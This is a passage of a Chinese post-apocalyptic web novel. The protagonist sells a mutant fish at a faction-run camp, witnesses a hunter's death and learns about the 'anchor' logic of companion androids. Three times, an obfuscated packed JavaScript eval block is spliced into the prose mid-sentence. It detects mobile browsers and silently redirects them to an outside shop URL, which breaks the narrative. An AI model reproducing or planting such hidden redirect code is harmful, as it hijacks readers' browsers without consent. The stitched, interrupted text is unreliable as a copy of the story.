“你们还继续打猎不?要打,我们给你们拖着那条鱼,晚上扎营地见;要不打了,索性和我们一道随黑蝎队伍走,休息休息。” 时却从车上跳下,听到这话,下意识去打量老金和他侄子,发现他们也都乖乖带有蝎子的卡片。 她接过沈司奥递来的抽纸,随便擦了擦手,戴上摩托车头盔,让沈司奥坐后座去,自己来驾驶。 “这条死鱼大概能值多少?” “这种特殊情况下蝎子总会压价,”老金侄子摸摸头说,“七八千吧——哎哟,大伯,你干嘛?” 老金翻着白眼给自家侄子后脑勺一个巴掌,“榆木脑袋,跟我多久了还那么不争气,你再好好想想!” “如果有些人知道她了,回收的人就不会按通常的规矩压价。八成是……一万。”沈司奥插话。 他又对时却道:“到时如果不嫌麻烦,你再拉上蜥蜴去,这个价钱还能往上提一提,也许能卖到正价。可能再多个一两千这样。” “听见没,学着点,机灵些,”老金恨铁不成钢地瞪自家侄子,“不成器的东西!” “早知道蜥蜴这么顶事,”时却扼腕,“该和她加个终端好友,再拉拉关系。” 现在人不知道上哪找,直接痛失千元起。 “一万也不错了。”沈司奥安慰道。 时却无奈地接受现实。她算了算,她加上沈司奥两人一天需缴给蝎子3000,凭借今天这只四脚鱼,二人足足能躺平三天。 李哥曾说过自己在蜜桃一个月的工资是四五千,这么一看,对她而言,打猎简直是最合适不过的赚钱法子。 ……不过她这也属于特殊情况。如果正常狩猎四脚鱼需要动用热武器碾压式击打,再算上生命危险和辐射累积,正常猎人的收益肯定还要大大缩水一番。 老金再次问:“怎么样,走不走?” 时却干完刚才那一场,其实想再多见识见识别的变异动植物,不过见沈司奥脸色仍有点不佳,权衡之下还是表达自己想摆烂。 沈司奥脸对着她,抿了一下嘴。 “真的,老板,”她特诚恳地小声说,“跟着蝎子走呗,我不想努力了。” 26. 防护圈 没用多长时间,一行人追上黑蝎队伍。 说是“黑蝎队伍”,其实并不准确。严格意义上讲,这支队伍由黑蝎、灰蝎和蓝蝎混合而成。 毕竟灰蝎代表的是“家属”,蓝蝎代表的是以黑街为典型的,与蝎子达成交易而跟队的人。 时却观察了一会,得出结论:这支队伍的混合形态被特意设计过的,还挺科学。 无论用什么交通工具,在灰蝎和蓝蝎周边,总分布有一定密度的黑蝎,确保存在突发状况时,这些武装力量能第一时间反应。 当然了,这样的队伍排列也不是固定的,不时有黑蝎的人三五成群,驾驶摩托或体积较小的车辆离队或加入队伍。 这样的人中,由一对男女同乘的一辆摩托正好离得较近,女人腰上别着对讲机,耳朵上挂着蓝牙耳机摸样的东西,手按在耳机表面,露出正在倾听的神情。 她对前面的男人说了个坐标,简明扼要道:“一只紫蝎在那边寻求救援,被落单的孤狼偷袭咬伤。狼已经死了。” 男人点点头,两人接着在最近的某个岔路口脱离大部队。没一会,另一辆属于黑蝎的摩托补入因他们离开前所在的大致位置。 看得出来,蝎子内部专门有人指挥、统筹这一切。 时却慢悠悠跟在老金侄子的车后。 几个拐弯后,由于偶尔的车辆位置变动,以及不同交通工具所具有的时速差距,老金与老金侄子的车逐渐离得远了,她便就近挑了辆印有黑蝎图案的载货卡车跟着。 这辆卡车的体型不小,后端盖着军绿色的罩布,叫人也没法看到里边运的是什么货物。 行进大约一两个小时后,刮起一阵大风,罩布一角的固定物不知怎的被颠簸松散了,呼啦啦被吹开,露出其内的部分。 那是若干战斗型仿生人。 他们如同蜡像般僵直地坐成相对的两排,双眼紧闭,样貌时却甚至不陌生,和李哥房里的肌肉大汉长得一模一样,堪称复制粘贴。 她以闲聊的语气对沈司奥说了这件事。 “蝎子打算拿他们做什么?” “在扎营地维护秩序,”沈司奥道,“随队的人太多,容易出乱子。” 这等于很快能看到战斗型仿生人工作的场景。时却记下此事。 临近中午时分,周边无人机播报的内容变为午餐菜色。一溜菜名里,听起来就很难吃的属于免费赠送,另一部分花里胡哨的,则需要付费购买。 时却打开地图,输入壁虎报的两个扎营地坐标。这两个坐标指向的分别是叫“13-1缓冲点”和“13-2缓冲点”的地方。 从沈司奥处,她简单得知缓冲点属于每个区的标配,日常主要是区外巡逻的人,或猎人们在使用。管理局会对缓冲点进行定期维护。 她进一步追问具体信息,沈司奥卖了个关子,说很快你就知道了。 然而,连他也没想到的是,约十一点,在被无人机告知他们和周遭车辆即将到达缓冲点后,他们首先要面对的—— 是被强制灌入脑袋的,“缓冲点快速攻略之蝎子随行版”。 无人机们,这些螺旋桨狂转的铁皮小玩意,冷不丁跟嗑药嗨了似的,用可与广场舞BGM一决高下的音量,叭叭地重复起了各类指引,包括但不限于: 大中型车辆该从哪绕到哪,停在哪,别傻愣愣往人堆里开;小型车即将进入缓冲点时,只要人在车轮子上的,甭管几个车轮子,都麻溜滚下来用腿走路;所有人,脚迈进缓冲点后都赶紧滚去看指示牌,别戳在原地阻碍交通;几点重新再出发,等等。 实用,接地气,同时因重复次数过多,也很洗脑。 以至于不知过去多久,这些无人机戛然而止地停下播报的好几秒后,时却甚至还下意识地在脑子里补全了被中断信息的下半句。 生耳虫了都。 她幽幽地和沈司奥说此事,问他是否还料到还有这个程序。后者回说,没有,且他的脑子也有点嗡嗡的。 二人环视四周,大多数同行的人都和他们一样,多少露出松一口气的神情。 ……虽然行程的后半截有点曲折,摩托的车轮还是很快碾到了缓冲点前。 缓冲点是一块被圈起来的,区别于森林的地。 它与森林的交界线呈一种特别的淡红色痕迹,不似油漆也不似颜料,有流沙质感,在阳光下乍一看,像条迷你的血溪,并且其中有什么如有生命般的物体正缓缓流淌。 此外,如沈司奥所言,缓冲点这是一块明显被定期照管着的地方。 以红痕为界,在缓冲点之外,草木自由生长;在缓冲点的内围,人力介入明显,所有灌木丛与树都被拔除,野草也被修剪到仅有人脚踝高。 无疑,这种特殊处理令缓冲点的内部变得视野开阔,观察方便。至少,任何大中小型变异动植物,别想在不引人注目的前提下生长或进入或潜伏于其中。 缓冲点的红色边界实在扎眼,时却起了兴趣,和沈司奥打声招呼,在挨挨挤挤的摩托和其他小型车辆之间七拐八弯,挑了个距离缓冲点边缘的偏僻地方停车。 下了车的第一个动作,就是蹲下细看。 凑近了,她发现这所谓红痕,红色边界,是由某种矿石质感的红色粉末和厚实的透明胶状物杂糅成的混合物。 它极其顽强地透过草根稳定地黏附在土地上,形成显眼的隆起。 沈司奥看她动作,便调出全息屏幕和键盘,干起自己的事情。见他没发出什么预警或劝告,看样子暂时也不打算主动解说,时却索性直接上手。 她碰碰那红痕,指下传来一点不算硬实的触感。 她有与发小做手工的“记忆”,其中包括使用热熔胶枪。红痕的触感,就像是戳到了一个由热熔胶冷却凝固而形成的胶团。 老金的侄子正好从不远处进入缓冲点,见到他们,过来指了个方位,让二人一会过去,临走时提醒道:“蝴蝶姐,十个人过去,六个人回头看你玩泥巴。” “她不在意,”沈司奥从全息屏幕后探出一点脑袋,“没事,你先过去,我们很快到。” 老金侄子摸摸后脑勺,顶着头上几乎要具现化出问号走开。 时却就近捡了根树杈子点那红痕,又抬脚去轻轻蹭,后者也丝毫不改其形。 她调出全息屏幕拍了好几张照,这才站起身,推上摩托:“往哪走?” 沈司奥指了方向。二人边走边说。 准确地讲,是好奇宝宝时却边走边问。“那个红色的边界,是纯粹的标记,还是有什么其他作用?” 沈司奥道:“让我想想怎么说。” 他似乎觉得要说给时却听的答案会有些复杂或拗口,组织了好一会语言。 二人离原先所在的偏僻角落远了,周遭逐渐喧杂,人群的成分也变得复杂。 带着猎物的紫蝎、拖家带口的灰蝎、笑眯眯的蓝蝎、放声谈笑的粉蝎、冷脸巡逻的黑蝎……这些脖子上挂着不同颜色卡片的人,如多种牙膏管颜料被齐齐挤入水中,以极快的速度掺杂在一起。 “上一次十三区的防护罩临近失效时,管理局回收了当时的防护罩的能量,”沈司奥道,“当下十三区的防护罩——就是现在快失效这个——新建时,管理局使用了这份能量,不过因为一些技术上的限制,惯常没法做到百分百再利用,多少会余下一些……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272629|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两个肌肉大汉雄赳赳气昂昂地扛着一条巨蟒破开人流,沿路激起抱怨声。 临靠近二人时,察觉不妙的时却赶忙拉沈司奥一把,拽他偏出两个肌肉大汉的前进轨迹。 沈司奥顺着她的力道踉跄两步,继续说:“那红痕又叫防护圈,其中的有效成分便是防护罩的那点剩余能量,它多少有些驱散小型变异动物的功效,例如蛇虫鼠蚁之类的。” “它比防护罩显眼多了,”时却随口道,“也好看多了。” “好看?你说那种有东西流动的感觉?那是一种‘能量痕迹’,当防护罩的能量被稀释到一定程度时,就会呈现出那样的外观。不少学者对这种现象展开了研究,只是迄今为止都一无所获。” 时却摸摸头,咕哝了句这么深奥吗,也不再细究。 二人走了一会,在熙攘的人群中看到一串箭头指示牌。 之所以说一串,是因为那指示牌包括一根杆子插在地上,以及从上到下依次套接的七个塑料箭头。 这七个塑料箭头上均写有指示语,依次是:黑街、解压好去处、用餐、医疗、变异生物兑换、其他兑换、集中休息处。 不同的箭头多指向不同方向,不过变异生物兑换、其他兑换和医疗三者指向的是同一方向。 显然,蝎子将此处短暂地变为了集市。老金侄子要两人过去的方向,正是去往变异生物兑换的地方。 时却和沈司奥又走了一会,周边蓝蝎和粉蝎的出现频率急剧下降,取而代之的是些显然刚经历过一番战斗或采集劳作的面孔。 这些面孔属于紫蝎们,其上占主导地位的情绪基本分为三种:带厌倦的疲累感、带血腥气的兴奋、习以为常的平静。 这些面孔之下对应的身躯,要么飘散着因剧烈运动而产生的汗臭味,要么展露出新鲜的血痂还未结实的伤口,要么满是尘土与擦痕。 大部分人肩扛手提的,都是体积中小的猎物或植物。有用拖车或摩托或其他工具载着大型变异动物或植物的家伙,但终究是少数。 当然,还有极少数家伙,和时却与沈司奥般,身上带有些刚战斗完的气息,却没带任何战利品,只闲庭信步地往兑换处走。 随人潮的流动,一些少视线投在时却和沈司奥身上。它们的到来和离去流程极其相似,严格遵循着停滞、评估、纠结、离去的四步骤。 次数多了,时却咂摸出些不一样的味道。 “一些好手,还很在意你,看上去挺割舍不下的样子。”她说。 “你的威慑力还有待加强,”沈司奥开玩笑,“也许等卖了那只四脚鱼后,情况会再好点。” “我想到一件事。”时却挑眉。 她缓缓扫一圈周遭,迎上所有当前投过来的目光,一一看回去,再凑到他耳边道: “便携工作台,你那个麻烦源头,最初你说至少值三万。说实话,它最多值多少?” 让这么多人还不死心? 沈司奥推推眼镜,也用只有两人能听到的音量回答: “真正有门路的人能知道,机械师多少会对便携工作台作升级和改动。所以算上这些,对于有需要的人来说,它最多值……” 周围人多,他示意时却伸手,动作飞快且幅度小地在她掌心划出两个数字。 依次是1和0。 时却收回手,推着摩托,一个恍神,差点直愣愣撞向边上停放的一辆越野车屁股。 ……怎么说呢,难怪好手们惦记。对比下李哥四五千一个月的工资,加上区外动手妥妥没有法律压力,这价钱,谁知道了不想爆你小子金币?! ……当初吃亏了,应该再多谈点条件。 27. 锚点 ……虽然第一反应是后悔,不过稍一深想,时却也明白,不论沈司奥当初有没有如实交代,二人合作的结果都不会改变。 毕竟她的选择余地很窄。 时却这稍有些复杂的情绪没能维持很久,止于一道显而易见的血迹。 虽然缓冲点内未修有正儿八经的路,哪怕是土路,不过短时间内来往的人多了,草地上逐渐还是会踩出一条明显有区别的“道”。 时却留意到的血迹,正是由这种“道”旁边的某处起始。它看上去很新鲜,刚发生不久,目的性极强地朝兑换点的所在方向延伸而去。 按理来说,这哪能算什么值得关注的情形,不少紫蝎肩扛手提猎物,这些已经挂了的战利品不时也会往下滴血,说不定是哪只倒霉猎物滴答淋漓了一路。 ……可就在这道血迹起始位置的附近,还有几团彼此之间有些距离的青草同时展露出被压得狠了的痕迹,其中一团倒伏的上还显着一个完整的血手印。 青草、血手印、血迹,三者的所在位置一组合,看起来就像什么人受了重伤,捂着伤口踉跄前行,因气力不支中途跪倒了,以手撑身,于是顺理成章在草地留下这些痕迹。 应该是哪个倒霉鬼在狩猎过程中不慎受了伤,着急忙慌赶去挣命。 两人到达兑换点,很快发现兑换点和医疗点不仅位于同一方向,还是相邻不远的两处。 兑换点处井然有序排着长龙,不远处停着老金侄子的车。老金靠在车屁股边上吞云吐雾,老金侄子则排在队末,招手示意他们过去。 二人与老金的侄子会合,三言两语之间,得知对于大型猎物,可以等排队到他们后,再引兑换点的人过去鉴定。 队伍的前头,不时有带伤的紫蝎完成兑换后,很自然地直接走向医疗点。医疗点处人较少些,且队伍不似兑换点这边有序,反而隐约围成一圈。 “让开,让开,堵着干什么!” 包围圈内响起几声呵斥,随即一角的人往旁急退,显出个缺口;一具浑身是血的紫蝎尸体从中被扔出,扑一声落在兑换点和医疗点之间。 这是一位女性。这是时却第一次在这个世界,近距离直面同性的尸体。女性的尸体,于她的“记忆”里只在文娱作品中见过。 她们多被着重刻画性特征,用于增添暧昧的情.欲色彩,或多被着重刻画遭遇虐待的惨况,用于刺激他人,成为一个坚决的复仇理由。 前者多不穿什么布料,否则没法暗暗叫人血脉喷张;后者多看上去可怜又无能,不然没法激起英雄情结和复仇的欲望。 ……而这具女尸看上去,两者都不属于。她看上去,就是个平凡的猎人,在这个末世倒霉地死掉了。 她面朝上,五官平平无奇,有着因常年在阳光下奔波而黝黑粗糙的皮肤,浑身灰扑扑的,一看便是不久前刚因战斗而在地上打过滚。 她的身上有不少野兽的抓痕,这些抓痕或深或浅,叫她的衣服上出现不少破口。 线条流畅的肌肉带着许多凌乱的陈年旧伤从这些破口中露出,自然地,它们再也无法顺应主人的需求有力地鼓起、起伏了。 时却所熟悉的红色自这位紫蝎的身下蔓延开。她身上的致命伤有两处,一处在腹部,是利刃伤,一处在胸口肺处,是子弹枪伤。 这两处致命伤都呈现出愈合了一半的形态,半边是粉色的新长嫩肉,半边是狰狞的开放式创口,看着十分诡异。 此外,她的嘴角还有大片的经粗鲁擦拭后糊成一片的血色,两条胳膊软绵绵地瘫在身侧,右手掌沾满血迹。 不久前刚见过的血手印在时却脑中一闪而过。人吐血时,拿右手去捂……真是再正常不过的动作了。 周围早到的人谈论起来。 “总有些家伙没挨到治疗结束就过去了。她也是命不好,明明都强撑着到这了,结果还是没赶上。” “一看就是抢猎物抢的。” “的确是抢猎物抢的,”有人突然道,“我看到全程了,她不亏,有两个人要抢她,她把对面整了个一死一重伤。” “啊……那是不亏。” “值了。” 随后,在场的众人保持了一种诡异的默契,视这具尸体为无物,绕着走。 时却和沈司奥咬耳朵:“她的腰带上还别有手枪、短刀和弹匣,但没人去动?” 这和认知中十三区的“民风淳朴”画风可不相符。 “我也不太清楚这种细节,”沈司奥小声说,“等等看吧。” 大约三四分钟后,一个战斗型仿生人拨开人群,来到那具紫蝎尸体边上。 那仿生人顶着与李哥房里那肌肉大汉同样的体形相貌,将尸体上还携带着的武器卸下,扔在原地,抱上尸体离开。 他才走出去没几步,三四个家伙扑向草地上的无主武器,遵循先到先得原则,很快将它们瓜分。 时却品出了这条潜规则:蝎子会处理死在扎营地的人的尸体,在蝎子来之前,不能对尸体下手。 ……从另一个角度来看,在弱肉强食的氛围里,这反倒显出几分使逝者免遭侮辱的文明意味。 时却:“尸体会被带去哪里?” “集中休息处附近,”老金侄子说,“那里会放个投影,挂上尸体的样貌。所有尸体会在大部队临走前被统一火化,骨灰原地放置。对于有人认领的尸体,认领人出点钱,能让尸体被单独火化,还可以领走骨灰。” 又十余分钟,队伍排到时却一行人。蝎子的工作人员询问他们,是要用变异生物换钱,还是用钱换其他物资。 自然是前者。 得知他们是有条四脚鱼要卖后,工作人员起身随他们到老金侄子的车边上,叫来人和推车,将四脚鱼搬到推车上,一顿查看后,看看时却,果然报出一万的价钱。 又问胸前挂着紫蝎卡的时却和沈司奥,这算谁的猎物,想怎么结算。 其余三人看时却,时却指沈司奥:“先扣掉我们两个三天的任务量,剩下的钱转给他。” 沈司奥则对老金道:“辛苦,稍后把说好的报酬转你。” 双方谈妥,四脚鱼被拉走。因工作人员说需要在兑换点操作,几人再往回走。 趁这空挡,时却随口问,既然会询问猎物算谁的,那是否有团队会在这个当口因分钱不均而内讧。 “一般都是在来兑换点前就分配好了。”老金侄子摸摸头。 “当然有,”老金笑哈哈地接话,“不过蝎子可不会管这种事,只管收。” 工作人员道:“我们会先收下猎物,再让他们自己找个地方打去,最后谁活着回来,听谁的。” 几人回到兑换点,事情很快办完。 沈司奥给老金转去帮忙处理四脚鱼的钱款,正要和时却离开,老金接了个电话,没聊几句,拦下沈司奥,对他作个“等等”的口型。 挂断通话,老金道:“灰蝎那边有个陪伴型仿生人死机,说是锚点消失,壁虎作保找蝎子外的机械师修,报酬不低,考虑吗?” 沈司奥看时却一眼,后者被瞧得有点莫名其妙,觉得他这一眼好像有什么特殊意味在里面,没咂摸出来,于是只耸耸肩,表示自己无所谓。 “那就去看看。” 路上,老金让侄子先自己忙去,再主动和时却解释,蝎子虽然有自己的机械师,不过只专精于战斗型仿生人,搞不定陪伴型。 “锚点是什么意思?”时却问。 老金表示自己是转述,也不大明白这种专业术语,和时却一块转脸向沈司奥。 沈司奥:“……简单来说,因为需要回应人的情感需求,所以陪伴型仿生人的逻辑模块被特殊设计为具有成长性,使仿生人能随着与主人的相处而不断完善自身,去迎合主人。” “目前,主流的构建这种成长性程序的方式是,先根据主人的需求设立仿生人的底层逻辑,这种底层逻辑的俗称就是锚点。比如,主人希望仿生人能无微不至地照顾自己,或像一个严厉的教导者一样管束自己,那么机械师就会将这种期望转为程序上的一种优先偏好。” “当应对外界刺激,比如主人因忘带伞而淋雨回家时,一个自我认识为‘照顾者’的陪伴型仿生人,会先寻找干净的衣服给主人更换,而一个自我认识为‘教导者’的陪伴型仿生人,会先提醒主人,下次需要记住带伞。” 随后他又举了几个例子。 时却眉心一跳,心想这样看来,锚点之于陪伴型仿生人,正如对自己的感性认识之于一个正常人。她将这个猜想说出来,沈司奥给出肯定的回答。 “当然,人和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297495|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿生人之间的最大差别是,正常人的三观会随着时间和自身经历的改变而改变,而仿生人不会。” 这下,时却明白他为什么刚刚用那种意味不明的眼神瞧自己了。 她追问:“什么情况下,锚点会消失?” “常见的情况是,主人长期且多次地进行了会令仿生人逻辑混乱的举动。”沈司奥叹口气。 “我曾维修过一个陪伴型仿生人,其主人以自己死去的爱人为蓝本设计这个仿生人,并也添加了他们两情相悦的锚点。可一段时间后,这个主人因为仿生人与自己死去爱人之间存在太多差异,而不断在仿生人面前否定二人之间的感情。次数一多,这名陪伴型仿生人的锚点就消失了,并陷入死机。” “主流的学术观点认为,这也许算是仿生人的一种自我保护机制。当具有成长性的逻辑模块在计算时屡屡陷入死路,那不如直接否定自己的底层逻辑,不再运行,停止一切活动。” 时却:“这件事情,有后续吗?” “这是我来十三区以前的事情,”沈司奥淡淡地说,“后续是,那个主人定期来找我重置这名陪伴型仿生人的锚点,直到他因患辐射病死去。” “这家伙,又痴情又纠结啊。”老金嘬着牙花说。他评价的是故事里的那个主人,没有给仿生人半点关注。 时却在接下来的行程中不再说话。几分钟后,她又看到那七个指示箭头,并和沈司奥在老金的领路下往其中黑街的方向走。 他们很快来到一块有诸多人席地摆摊的区域,这儿卖啥的都有,食品、药品、武器、生活物资,一应俱全,价格不算贵,就差直接把“我就是想从蝎子嘴里抢点肉吃”写成标语立起来了。 老金笑嘻嘻地介绍说这就是黑街了,黑街人就是这样,到哪都不忘做生意。 “哈哈,不过也不能不给蝎子面子嘛,所以大部分东西都和蝎子能供应的东西有差别。” 老金带二人走到一个被简易搭起的灰色帐篷前,壁虎站在帐篷外抽烟,脚边散落一地烟头,身边站着个时却不认识的黑蝎。 他看到沈司奥,对身边的黑蝎说:“你要的人来了。” “你好,沈司奥。”那黑蝎主动打招呼。 沈司奥简单向他点点头。“蝎子的机械师,你好。说说情况?” “我已用命令码将那名仿生人调试为待维修状态,它就在帐篷里,”那黑蝎简明扼要地说,“你可以直接进去处理。经典规矩,只能你一个人进去。” 时却眉头一皱,刚要说话,被沈司奥拦下。 “这种关于锚点消失的维修,会涉及很多隐私,”他道,“不用担心,我在这里不会出什么问题,你随便去转转,结束了给你发信息,你过来接我。” 壁虎扯扯嘴角:“我作保,绝对将人原模原样还你。” 话说到这份上,时却自然放人。 沈司奥进帐篷后,帐篷里传出一阵悠扬的音乐声,这声音遮住了帐篷内的动静。 双向地,自然也使得帐篷内的人无法听到帐篷内的声音。 老金说有事便先走了,壁虎拉着个脸明显心情很不美妙,没有开口的意向,时却和那黑蝎大眼瞪小眼了一会,黑蝎无奈道:“你好像有什么话想问。” “是有,”时却慢吞吞道,“沈司奥很擅长处理这种锚点问题?” 黑蝎给出肯定的答复。 “这小子技术不错。” “……我有点好奇,除了陪伴型,还有其他类型的仿生人需要设置锚点吗?” “理论上讲,什么类型的仿生人都可以拥有锚点,”黑蝎说,“不过像战斗型或侦查型之类的仿生人,不用高频次地进行情感反馈,没有设置锚点的性价比。叫它们依据程序设定,乖乖听令就行。” 时却又问:“异常仿生人呢?” 黑蝎有点惊讶,道:“你问了个好问题。术业有专攻,这我就不清楚了。异常仿生人既然能做出超越程序设定的行为,也许它们之中,会诞生能自行生成和更新锚点的个体。” 下意识地,时却还想再深问下去,想了想,将冲到嘴边的话咽下去。她还想问,有没有人有可能,预先设置好一个异常仿生人的锚点? 或者,她体内,此时此刻的她的脑袋里……有这样的锚点存在吗? 28. 午间 不管内心再纠结,时却面上绷着,在帐篷外观察。 在黑脸蝎子二当家的威慑下,别说刺探帐篷内的情况,连敢多看几眼这边的人也没几个。 经询问那个作为机械师的黑蝎,并得到对方保证摩托和背包都可以先放在帐篷边上后,她决定不干呆着,到周围走走。 就从能蹭饭的用餐处开始。 她晃晃悠悠回到那有七个箭头的指路处,从上往下看,视线掠过解压好去处,定在“用餐”二字上。 用餐处的所在指向,与解压好去处的所在指向,并非同一方向,不过也不差多少角度。看上去来往之间很方便。 不想去深思其中的设计目的,往用餐处去,越走,时却越发觉,周围战斗型仿生人出现频率的逐渐升高。 这些肌肉大汉顶着一张被人欠债八百万的脸,腰间的武装带上冷热武器一应俱全,以巡逻的姿态行走在人流中,周身仿佛存在看不见的结界,被每个人避让。 挑了个战斗型仿生人,时却挡在其面前。人家往左,她也往左,人家往右,她也往右。 仿生人动作利落地拉下挂在肩上的步枪背带,格拉一声快速打开保险,枪口直抵时却左肩。 “女士,您正在妨碍我执行任务。请让开,倒计时三,二……” 这么武德充沛吗?! 时却忙往一旁闪身。仿生人在确认她这个人肉障碍消失后,立即关闭保险,推枪复位,继续往前。 接着往用餐处走,她再次盯上一个战斗型仿生人,特地绕到对方身后,轻拍其肩膀,待对方停步,挂上热情的微笑凑过去。 “大兄弟,那个黑街该——” “不在职能范围内。”仿生人立即打断,吝啬地从嘴里蹦出七个字崩到她脸上,冷酷无情地转身便走。 时却:“……” 我恨你们像块木头。 是否要真惹点动静出来,看看这些仿生人会如何应对——这样的危险想法在脑中一闪而过,被理智一巴掌拍死。 真出了事沈司奥还得来擦屁股或赔钱,时却自觉还是该要点脸,只得悻悻放弃,直到在用餐处排上队,吸着大冷天里飘散在空气中的饭菜香味,心情也没有回复,反倒变得更加不美妙。 无他,用餐处有好几列队伍,堪称大排长龙,还甚至有复数的战斗型仿生人承担着维持秩序的职能。 拜六亲不认的战斗型仿生人所赐,所有等餐排队的人都呈现出一种经典监狱画风,别说插队现象或起什么口头摩擦,连个高声喧哗的家伙都没有。 在这些一言不合就拉保险的战斗武器面前,无论脖子上挂着什么颜色蝎子卡的人,无一例外,都变成了超遵纪守法的良民。 人不少,队伍前头挤不进去也看不清楚,时却排进某条队伍的末尾,郁闷得眼神放空。 她身前是几个脑袋瓜凑在一块方便窃窃私语的男孩子,过了一会,身后又过来个歪着侧站,看上去也无聊得要冒泡泡的女黑蝎。 女黑蝎看她一眼,再一眼,又一眼。 “有事?”被周围影响的时却不自觉压低声音问。 “我认得你,你身手不错,”女黑蝎小声说,进一步加强两人之间状似特务接头的氛围,然后毫不吝惜地给出一个大拇哥,“尤其是在绞肉场里怼壁虎那段,绝赞。早该吃点教训了他,一天天的,简直下头。” ……考虑到短期饭票还在壁虎手里干活,时却觉得这话还是不接为妙。 不过,想着能有人聊几句也不错,时却把自己脑子有病的说辞拿出来溜了一遍,转移话题到所见的战斗型仿生人上,旁敲侧击道:“他们都这样?” 女黑蝎打了个哈欠,对这个话题兴趣缺缺。“这些玩意不都这样吗?脑袋瓜子里只有0和1,执行的都是预设程序。” “我以为这种一看就代数不低的仿生人,”时却斟酌用词,取相对保守的说法,“拟人程度也会比较高。” “大妹子,别这样想,那些玩意是披着人皮的铁疙瘩,”不知想到什么,女黑蝎嗤笑一声,“千万别觉得它们和人像,不然你得变成个大傻子。” 时却打了个哈哈,含糊应一声,转脸看前头的那群男孩子。 女黑蝎很顺畅地接收到她表示话题结束的社交信号,并不在意,不过也不再自讨没趣。 队伍往逐步缩短,时却终于得见午餐的详情。 用餐处采用的是自选形式。 免费区是在寒风中垒得高高的一摞盒饭,透明的包装里显示其内容物大概有米饭+素菜+好像有一点点肉的小荤。收费区有水和自带加热功能的野餐锅一溜排开,冒着腾腾热气,内里是或糊状或汤状的内容物沉沉浮浮。野餐锅边缘堆了些厚实的手提保温袋。 三个蝎子的工作人员分工合作,一个负责收钱和打包,一个在收费区摆锅,最后一个负责……拆五花八门的料理包往锅内倒。 时却一瞧见工作人员手里那银色反光的袋装物,脑子里的社畜记忆立即跳出来找存在感,嘴巴也开始泛味,就那种料理包的经典重油重盐调料味儿。 ……仔细想想,这很合理,至少比寒风中肯定已经凉透了盒饭好。哪有什么比料理包更方便快捷适合野外的呢? 队伍排到前头的几个青少年。 他们有点挑剔,嫌弃免费的饭菜像猪食,在收费的饭菜里挑挑拣拣。八成有给不少人带饭的任务,他们打包了远超小团队人头的吃食。 一来二去,耽误的时间有点久,又是大冷天的,队伍中的其他人难免生出怨气。 “呸,小鸭子。”有个灰蝎骂出声,不过还算理智,至少将音量控制住了。 那群男孩子中无人听到这句毫不掩饰侮辱意味的评价。其中一人掰着手指头,细声细气说:“嗯,还差细雨,他说看着带……” 细雨?提醒流萤换护身符那个男孩? 时却从半发呆的状态抽离,留心起他们之间的交谈。 一个看上去在这个小团体中很说得上话的男孩闻言拉下脸。他左耳耳垂上钉了颗红锆石,随着动作不断折射出艳丽的光泽。 “别提他,傻了吧唧的!”男孩语气很冲,“他哪要吃什么饭,去找他那个救风尘的客人,张张嘴不就饱了?” 猝不及防,时却被其中毫不掩饰的十八禁成分糊了一脸。 少年们那边,这场对话还在继续。最开始说还差细雨的孩子被耳钉男孩一讲,缩了缩脖子,声如蚊呐地说这样是不是不太好。 耳钉男孩扫一眼面前的锅。“行,那就这个。” 他指的锅里,颜色极深的浓汤中飘着几块肥腻的五花肉。 “细雨吃不了这个,而且它太贵了……” “要你操哪门子心,”耳钉男孩抱胸冷笑,“要不你拿自己当狗的钱给他贴点,整个三菜一汤?” 蝎子的工作人员不耐烦看这场疑似霸凌的戏码,敲锅打断:“最后一份是吧,保温袋要不要?不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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视线扫过细雨的呕吐物,在其中看到些几乎一点也没消化的红色肉条,时却把没开过的一瓶水丢给他,示意给他漱口。 细雨也不推脱,道谢接过。 看他漱完口后,时却把处在另一个保温袋里的打包盒掏出来,摸摸底部,感觉还算温热,招手让细雨靠近。 “吃吗?” 细雨咬咬嘴唇,搓搓脸,努力咽了口唾沫,深呼吸几下,不知想到什么,忽然有了点精神,强扬起笑脸,大声道:“吃得下!谢谢姐!” “多买的,正好,你不来我就得丢了。” 细雨大声嗯了一声,低头扒饭,没扒两口开始安静地掉眼泪,边掉边吃。 时却没什么深入探究的想法,视而不见,拔出腰间匕首思考几秒钟,捡起丢在边上的保温袋,背对细雨把其中一个划了,割出三条细细的“带子”,又在另一个保温袋的靠近开口处的两侧相对表面上捅孔洞,最后得到与“带子”数量相同的三对孔洞。 这“带子”一一对应地往孔洞里一扎,一只简陋的“鞋”瞬间成型。 她做完这个手工活儿转过身,只见不知何时细雨也改了姿势,背对她。 清楚这小孩大概是后知后觉难为情了,时却把手里的“鞋”放到他身后,抬手腕调出开了隐私模式的全息投影。 她大咧咧绕到细雨面前,装模作样看了看全息投影,说自己还有事,要先走,嘱咐说吃完了记得把垃圾都收一下。 “好的,姐……?” 细雨乖乖地答应。虽然看上去多少有点疑惑为什么在区外还要这么文明的样子。 他一答应,时却立即脚底抹油跑路。再回到熙攘的人群中没多久,数量众多的无人机出现在半空中,播报十分钟后重新启程。 沈司奥的信息也到了。 [完事,来接。] 29. 种子 